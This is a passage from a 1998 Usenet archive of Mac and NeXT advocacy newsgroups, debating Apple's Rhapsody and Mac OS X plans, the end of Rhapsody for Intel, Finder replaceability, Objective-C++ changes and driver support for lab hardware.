is replaceable, then so long as Apple sticks with either the OpenStep
model or MacOS model, it's very likely we'll have one which is
replaceable.
There have always been tons of complaints against the MacOS Finder, but
nobody in the last 8 years or so (since Multifinder days) found it so
objectionable as to offer a replacement. There are parallel utilities like
Gregs Browser and even OtherMenu can fill in, but none decided to go all
the way. Just something to think about...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 20:26:02 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005982026030001@dialin9043.slip.uci.edu>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu>
In article <EtABG0.L64@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> The last I heard Apple wouldn't even give Be the details on the G3, so, they
> couldn't port their OS to it. Doesn't sound like Apple is being to open to
> me.
How hard can it be? There are currently two Linux versions running on G3.
Certainly some people are worthy of that info from Apple so you can't
really say until you try.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 20:30:49 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005982030500001@dialin9043.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu>
In article <35639860.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > The fact of the matter is that the system Motorola showed last summer
> > couldn't have been sold. The 300 MHz G3 wasn't even announced until
> > February of this year.
>
> I wonder if the cloners ever sold up-clocked machines?
I think one of them did. MacTell maybe? I remember them selling 'tunable'
sytems that could run as high as 330MHz or so if you were lucky. They
started life at 266 or 275 if I recall correctly. They were very upfront
about what they were offering. None that I know of ever upclocked secretly
or systematically.
-Bob Cassidy
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 03:45:32 GMT
Organization: Digital Fix Development
Message-ID: <6k080s$gdb$1@news.digifix.com>
References: <joe.ragosta-2005980846240001@wil131.dol.net> <B188786A-1A7F6@206.165.43.125>
In-Reply-To: <B188786A-1A7F6@206.165.43.125>
On 05/20/98, "Lawson English" wrote:
>This no longer applies with Carbon APIs, although, from what Brad has
been
>saying, it shouldn't be that difficult for most developers to
special-case
>the Carbonesque APIs within their app and maintain backwards
compatiblity
>with System 7.x users (Those that use GX will be an exception, of
course).
>
In the Mac OS X timeframe, System 7.x will be at least a
couple of years out of date.
Carbon applications can link with a different lib for
deployment under Mac OS 8 (said at the keynote).
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: 21 May 1998 03:40:52 GMT
Organization: Digital Fix Development
Message-ID: <6k07o4$gc0$1@news.digifix.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5> <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us>
On 05/20/98, Nathan Urban wrote:
>In article <35633314.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
>> Anyone know for sure? I read the Obj-C++ thing on one of Scott's
>> WWDC note pages at www.stepwise.com
>
>Yes, does anyone know in detail what changes they are making in the
>Obj-C/Obj-C++ language? I've been wondering about that. And are
they all
>things to improve C++ integration, or are there new Obj-C features
too?
>
I can answer that.
The changes are NOT the syntax, rather they are adding some of
the "other stuff". Features like declaration as statement and
exceptions.
They syntax issue is resolved. The traditional Objective-C
syntax is staying.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 20:39:40 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005982039410001@dialin9043.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <rex-2005982242410001@192.168.0.3> <see-below-2005982000250001@209.24.242.183>
In article <see-below-2005982000250001@209.24.242.183>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> > How do you know? Did you talk to any of the Motorola people?
>
> Yes, this is an interesting point, isn't it? Motorola, the company that
> makes the chips, couldn't have mustered enough chips to ship this machine?
> Ever wonder _why_ it took so long for them to ship 300+MHz PPC chips? I
> certainly don't know, but it seemed to me they were a bit miffed at Apple
> for closing them down (and IBM was too).
I'm pretty sure at least some of those chips are manufactured by IBM, not
not all. I seem to recall hearing about a slowdown in production when an
ice storm knocked power out at IBMs plant in Quebec for a few weeks where
the chips were being made.
Those fast Mot systems would have been nice, but it would have thrown the
whole cost/performance balance out of whack in a *major* way. Margins
would have gone to zero and Apple would have been stuck with hundreds of
millions in back inventory. Apple *certainly* wouldn't be the company it
is today had Mot been able to go forward.
Consider that the G3 systems were really geared to be sold at price points
closer to $1200 at the low end. That would have totally undermined their
604e inventory and created a demand they could never fill. Instead Apple
jacked up the prices to an outrageous $1795, demand was still high, and
Apple turned a huge profit in Jan when *nobody* was expecting one. _That_
was the start of the turnaround and never would have come to pass had Mot
been in the game.
Mot and IBM might even have gotten a price concession by Apple for dumping
cloning since Apple would clearly be able to pay a higher price for the
chips due to super-high margins resulting from lack of competition. Apple
would also buy more Mot and IBM services. All their new hardware has a lot
of Mot and IBM work in them. I don't think Mot and IBM will be miffed for
long. Apple will more than likely make it back up to them by being a
better customer.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: 21 May 1998 00:06:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k0992$3mk$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <35633314.0@206.25.228.5> <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us> <6k07o4$gc0$1@news.digifix.com>
In article <6k07o4$gc0$1@news.digifix.com>, sanguish@digifix.com (Scott Anguish) wrote:
> On 05/20/98, Nathan Urban wrote:
> The changes are NOT the syntax, rather they are adding some of
> the "other stuff".
I figured they'd leave the syntax, after their previous aborted attempt,
but wanted to be sure.
> Features like declaration as statement and exceptions.
What is "declaration as statement"? (I'm sure I know what it is, just
not under that name.)
Any improvements to the Obj-C object model?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 00:11:32 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k09hk$3nh$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <rmcassid-2005981542230001@dante.eng.uci.edu> <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us> <rmcassid-2005982023390001@dialin9043.slip.uci.edu>
In article <rmcassid-2005982023390001@dialin9043.slip.uci.edu>, rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <rmcassid-2005981542230001@dante.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > > Anyone bother to try doing that now?
> > What, start a campaign, or write a Finder replacement?
> > (I bet that if Apple doesn't produce a Yellow Finder but makes the
> > Finder replaceable, then GNUstep will produce one.. they'd be able to
> > use it too, with a few OS dependencies abstracted out.)
> Write a Finder replacement. Even what Rhapsody has now is nothing more
> than an app with some special permissions, right?
Right.
> And if the MacOS Finder
> is replaceable, then so long as Apple sticks with either the OpenStep
> model or MacOS model, it's very likely we'll have one which is
> replaceable.
Hopefully.
> There have always been tons of complaints against the MacOS Finder, but
> nobody in the last 8 years or so (since Multifinder days) found it so
> objectionable as to offer a replacement. There are parallel utilities like
> Gregs Browser and even OtherMenu can fill in, but none decided to go all
> the way. Just something to think about...
Oh, I've thought of endless innovations you could add to
a Workspace/Finder (I've forgotten the vast majority of my ideas,
should've written them down), a number of GNUstep people talk about neat
new things that could be done, but so far no one has written anything..
it's a lot of work, you know.. :)
(Then again, if people would pay money for it.. of course, that doesn't
always fit in as well with the GNU model.)
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 04:30:24 GMT
Organization: MiscKit Development
Message-ID: <6k0al0$5qh$2@news.xmission.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <35633073.0@206.25.228.5> <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us> <rmcassid-2005981542230001@dante.eng.uci.edu> <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us> <rmcassid-2005982023390001@dialin9043.slip.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
> Write a Finder replacement. Even what Rhapsody has now is nothing more
> than an app with some special permissions, right?
Actually, no, and that's a problem. It does all kinds of wacky things behind
the scenes. The NSWorkspace class gives you a partial idea of what, since it
is a class wrapped around some of the "behind the scenes" things it does.
Docs are at:
http://developer.apple.com/techpubs/rhapsody/System/Library/Frameworks/AppKit
.framework/Versions/C/Resources/English.lproj/Documentation/Reference/ObjC_cl
assic/Classes/NSWorkspace.html
Nice short URL. :-/
Some of what it does are things like managing parts of Services, etc. I know
that there's a split between WM.app and WorkSpaceManager.app, too, which sort
of divide this up (plus a few shell based "tools" that do background stuff
like file moves). The thing is, we need to know which parts can/should be
replaced and exactly what they do so we know where to start.
In other words, they need to publish the spec that they've been promising
since the NeXT days so that we can start fiddling around. :-)
The MiscKit has the start of a good "shell" for manipulating and viewing a
filesystem hierarchy. And there's Tomi's Shelf application, which is quite
interesting in its own right. So we wouldn't have to be starting cold
writing a Yellow Finder replacement. I think this would be a cool project,
regardless...
For one thing, there are lots of things WorkSpace does that are really dumb.
The implementation of compression and chunking files to floppies (splitting
files across floppies) are both rather braindead and often it is better to
perform them by hand (so you don't run out of vm (!) ).
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: jbodner@pacbell.net (Jon Bodner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy
Subject: Re: Clue phone for IBM!!
Date: Wed, 20 May 1998 21:48:44 -0700
Organization: Pacific Bell Internet Services
Message-ID: <jbodner-2005982148450001@ppp-207-214-148-146.snrf01.pacbell.net>
References: <6joi32$54j$4@newsfep4.sprintmail.com> <buchner-1805980911070001@pm-4-096.dynam.wavetech.net> <6jrjnd$36p@panix.com>
In article <6jrjnd$36p@panix.com>, dcoker@panix.com (Dave Coker) wrote:
:We used to have a few of those RS/6000 notebooks computers; they weren't
:PowerPC based, but a predecessor architecture - Power or Power2, I'm not
:sure which.
:
:Basically they were portable workstations, since they sucked electricity
:in a *major* way, maybe getting 45 minutes on a full charge. There was
:no way anyone could use them, for example on a plane. They were roughly
:equivalent in performance to the old RS/6000 Model 340's - circa early 1991
:or so.
:
:An Apple G3 system would blow them away, both in terms of performance
:and battery life.
:
:I might be wrong, but I haven't seen any RS/6000 notebook computers
:since then - I don't think IBM still makes them.
IBM did make PowerPC ThinkPads with PPC 603e CPUs. I think they were the
800 series. Sure enough, they ran AIX only and cost a bundle of money.
However, I remember they came with nice toys like a built-in video
camera. I can't find any mention of them on the IBM WWW site any more.
-jon
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 00:57:08 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k0c74$3tu$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us> <rmcassid-2005982023390001@dialin9043.slip.uci.edu> <6k0al0$5qh$2@news.xmission.com>
In article <6k0al0$5qh$2@news.xmission.com>, don@misckit.com wrote:
> The MiscKit has the start of a good "shell" for manipulating and viewing a
> filesystem hierarchy. And there's Tomi's Shelf application, which is quite
> interesting in its own right. So we wouldn't have to be starting cold
> writing a Yellow Finder replacement. I think this would be a cool project,
> regardless...
I think this is something that a lot of people want to do but no one
is willing/able to devote the time to. I bet if someone put together
a working Yellow Finder with all the basic capability, and designed
it cleanly enough to be flexible and easily extensible, then critical
mass would be achieved and a whole bunch of people would jump in.
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Message-ID: <ToYTBPsRqFuO@cc.usu.edu>
From: edx@cc.usu.edu
Date: 19 May 98 15:02:54 MDT
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
<6jn8d4$1cc$66@ironhorse.plsys.co.uk>
<6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <6jq3is$mhk$5@news.xmission.com> Don Yacktman wrote:
> So the YB for Intel strategy is current to run on top of WinXX and _not_ have
> a seperate OS. This can be changed by customer demand, so if you want a Mach
> based YB for Intel hardware, go out and buy CR1 and bang on Apple
> relentlessly until they give in. If you aren't lobbying Apple, then you're
> not doing your part to get this fixed.
>
> [...snip...]
>
> I can't name the person, which means you'll probably feel free to discount
> all this, BUT I'm warning you, this is serious business and it's VERY real.
> If you don't like that fact, then start lobbying Apple NOW to get it CHANGED!
> Telling us you don't believe it is NOT going to help. Denial and subsequent
> inaction will only get a Mach based YB for Intel canned.
>
> I hope I've made this all crystal clear. This is NO joke!
I tend to agree with you about Apple's indifference to a YB/Mach on Intel.
However, it also seems that SJ has made it crystal clear for quite some
time that Windows has "won" on Intel, and he simply doesn't want to compete
in the OS arena against MS. It's a pity and a shame, and very, very
discouraging that such remarkable technology will no longer be available
on Intel platforms, but I don't think any amount of whining from us little
folks out here is going to make one iota of a difference to those who make
these decisions. In SJ's mind, Windows is -the-only- OS on Intel, and
success means attempting to leverage that fact to an advantage, rather than
trying to fight it.
If I sound a little depressed about the whole thing, I am. I don't
like the current turn of events. It's as if Apple management has
suddenly decided to go Neanderthal and whip out the old, old technology
as something new. PDF instead of postscript? Aack.
Oh, well. Software development has been fun and interesting for the
past ten years, largely because of NeXT technology. But it looks like
it's time to go back to Real Science and ditch software development as a
career.
What a really depressing week...
edx@cc.usu.edu
USU Research Foundation
Space Dynamics Lab
From: rick@mft.neusc.bcm.tmc.edu (Rick Gray)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: questions about device drivers for Rhapsody and blue box
Date: 21 May 1998 04:09:30 GMT
Organization: Division of Neuroscience, Baylor College of Medicine,
Houston, TX
Message-ID: <6k09dq$11d@gazette.bcm.tmc.edu>
References: <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica <rex-2005982242410001@192.168.0.3>
I've got a question about device drivers for Rhapsody, Blue Box, and
Yellow Box. We are a cellular neurophysiology lab that uses both black
and white hardware for data acquisition. We currently use IOTech D/A
and A/D hardware running under NextStep 3.3 to control and collect
data from neurophysiological experiments, and Photometrics
frame-transfer CCD cameras running under Windows 3.1 (because we don't
have drivers for NextStep) to collect optical data.
We are considering our future directions for data collection. We use
all locally-written data acquisition software now, but with fewer
programmers entering the lab we would like to go for commercial
packages that can handle 90% of our experimental needs, and just write
the exceptional 10% ourselves. There are a few commercial data
collection suites that run on Macs that interest us:
Igor from WaveMetrics (http://www.wavemetrics.com),
Pulse from HEKA (distributed by InstruTECH,
http://www.instrutech.com),
Acquire from Bruxton (http://www.bruxton.com).
All can use the InstruTECH ITC-18 A/D, D/A PCI card.
We recently received Rhapsody DR2 and are running it on a new G3 (our
first lab Mac, following in the footsteps of DEC LSI-11s, Masscomps,
NeXTs and intel machines running NextStep). During a lab discussion,
the following questions were raised. Will it be possible to control
added hardware under Blue Box? If so, would we need Mac drivers or
Rhapsody drivers? For the longer run, could we develop our own drivers
under Rhapsody and have them work under MacOS X? Is it reasonable to
hope that by the time MacOS X gets here hardware companies will have
drivers ready for us? (We're willing to lobby InstruTECH and
Photometics for this.) In a worse case, could we develop software
under Rhapsody using Yellow Box and have it use device drivers written
for NT? Is it useless to even think about running Rhapsody for Intel
on our aging (90-120 MHz) Pentiums and bothering to develop any new
software for them for the long run?
Any informed advice is greatly appreciated,
rick
--
Rick Gray, Ph.D., Div. Neuroscience, Baylor Col. Med., Houston, Tx 77030
rick@mft.neusc.bcm.tmc.edu | http://mft.neusc.bcm.tmc.edu/cnl
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
References: <6jtt5c$q8k$1@news.cmc.net> <6jtu69$2ol$1@news12.ispnews.com> <6k0480$6ia@newsb.netnews.att.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3563c2b6.0@206.25.228.5>
Date: 21 May 98 05:59:18 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> No ! No ! No ! It simply doesn't make sense. Apple once again
> has a chance to be the machine and OS for the industry to copy.
> It can do so by dropping "legacy" as fast as its customers allow
> it. iMac is an excellent start. It is not just an inexpensive
> consumer machine, but a proof of concept for this idea.
Apple can once again be a niche player ostrisized, then after the
fact others will copy and benefit from their sacrifice. Although
this may be great for the industry in general, it won't necessarily
be good for apple. This is a perfect example of experience proving
superior to logic (my appologies to Dr. Spock). Time and time
again this industry has shown that superior ideas, technologies,
implementations, etc. do not equate to market success.
However, I'm completely with you in spirit though Arun. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe: ungrateful swine.
Date: Wed, 20 May 1998 23:10:36 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9ble4.1icga1619151owN@cetus160.wco.com>
References: <slrn6li7r6.k15.mbkennel@lyapunov.ucsd.edu> <355921D0.9E838E8D@unet.univie.ac.at> <6js9qu$snd$2@walter.cs.umd.edu>
Sean Luke <seanl@cs.umd.edu> wrote:
> Here's the weird news:
>
> 1) Apple is eliminating DPS in MacOSX, and presumably this means Yellow Box
> for NT/95 as well.
>
> 2) Apple says the licensing fee will *still* be $20.
The licensing fee for Yellow Box For Windows 1.0, which includes Display
PostScript, is about $20/copy.
Apple hopes to reduce this to ZERO in future versions.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Date: Wed, 20 May 1998 23:10:39 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9bpsi.1nmcenplells8N@cetus160.wco.com>
References: <355c8968.0@206.25.228.5> <6jjfgn$c75$1@crib.bevc.blacksburg.va.us> <Et58A7.1Hp@AWT.NL> <6jquet$jb8$1@news.digifix.com> <6js7sk$t7p$1@msunews.cl.msu.edu>
<spammers@ruin.the.internet.channelu.com> wrote:
> I wonder if Mike is gnashing his teeth
> over all the DPS is fast/eligant (and we've done a lot of work)
> arguements he made in days past
Nope. It's still fast and elegent. It also does nothing to address the
needs of the top 100 MacOS developers.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programming
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: Wed, 20 May 1998 23:10:49 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9byep.bq2kgm1gbqn6lN@cetus160.wco.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> Which reminds me of some WWDC announcements that Obj-C is now going
> to be Obj-C++. UG, not this again. Or is this merely marketing
> hype showing that both can be used with the current compiler. I
> don't want them messing up a good thing, Obj-C, with that idiot
> braindamaged syntax et al. of C++
It's just the usual Marketing thing. "See, you can use your really cool
C++ code in this environment, and call out to our APIs using Objective
C, C, or this really cool thing we did by overloading the bracket
operators :-}.
No radical changes or bizarro syntax is being planned. It's what all
the NeXTSTEP programmers are used to by now.
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Wed, 20 May 1998 23:10:54 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9byln.1pvdrbb141ri0aN@cetus160.wco.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <6jsrm1$v57$1@crib.bevc.blacksburg.va.us> <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> Sounds good, inside one task.
>
> On the other hand, does this really bust up the context switch performance?
>
> I wouldn't want general multitasking performance degraded just because
> once in a while I see a video.
Not to worry. There's a bit vector that functions are supposed to
diddle to show what AltiVec (ick) resources (registers, really) are
being used. The idea is that the kernel saves only what is being used
on a context switch.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 22:42:49 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35634E51.37A6@earthlink.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu> <joe.ragosta-1905980757210001@wil104.dol.net> <6js6tf$i45$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
And with Windows '98 floundering, it is a perfect time for PC owners to
start to "Think Different".
C'mon Apple....don't fucking blow it....AGAIN!!!
Long live Rhapsody for Intel!!!!
Steve
spagiola@my-dejanews.com wrote:
>
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Until yesterday, I believed that Apple was planning to continue Rhapsody
> > for Intel. I've learned from someone I consider a reputable source that I
> > was wrong. Apple apparently plans no Rhapsody or MacOS X without Carbon or
> > anything like on x86 that past Rhapsody 1.0.
> >
> > In my opinion, this is a major mistake. I'd encourage anyone interested in
> > having Apple continue Rhapsody for Intel to write, e-mail, and/or call
> > Apple to let them know. NOW is the time to stop them from dropping
> > Rhaptel.
>
> Agreed. A major, major blunder. Anyone know the correct place to send
> feedback, in the hope that it will do some good?
>
> Stefano Pagiola
> spagiola@my-dejanews.com
> My opinions alone
> Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
> Rhapsody user
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Thu, 21 May 1998 15:44:31 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
<6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <3563c4fc.0@news.camtech.net.au>
In article <maury-1805981757210001@ts32-15.tor.istar.ca> ,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>
>> As expensive as Macs are, a 750PPC system that competes with a Sun
>> workstation is pretty damn compelling a choice.
>
> Wait until you see DR2 on a G3. EVERYTHING is fast, from graphics, to
>disk, to networking.
>
>Maury
So you would say Apple has sorted out the problems with graphics UI speed in DR2
(at least on PowerPC)? Just how responsive does it seem now? Given that this
is my major gripe with Mac OS, I would be interested to know how much better
Rhapsody DR2 is.
Tim Priest
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5> <rmcassid-2005981540580001@dante.eng.uci.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3563c409.0@206.25.228.5>
Date: 21 May 98 06:04:57 GMT
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
> >nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> >> I wonder if the Finder will be replaceable. (No reason why
> >> they couldn't make it that way, but they might not bother.)
> >> If so -- third party opportunity for a superior Yellow Finder.
> >
> >Apple doesn't strike me as the kind of company that likes to
> >give up control of *anything* to anyone. I could be, and hope
> >I'm, wrong.
> Uh, the Finder is *currently* replacable, I believe. There is
> even a number of APIs to help you do it, has been for some years.
> I don't know of anyone that has bothered, however as the Finder
> delivers considerable functionality that would take a lot of
> effort to undo.
> For a *really* fun Finder replacement, you should be able to boot
> straight into Virtual PC and mount your MacOS drive as a D: drive
> via folder sharing. It only allows you access to your data, not
> any ability to launch apps. But you really don't need the Finder
> for that either.
The workspace (YB finder) is a bit trickier to detach than the
finder. It can be done, I just don't think apple is going to go
out of it's way to make it easy or to promote that to happen.
Again, I'd love to be wrong on this.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
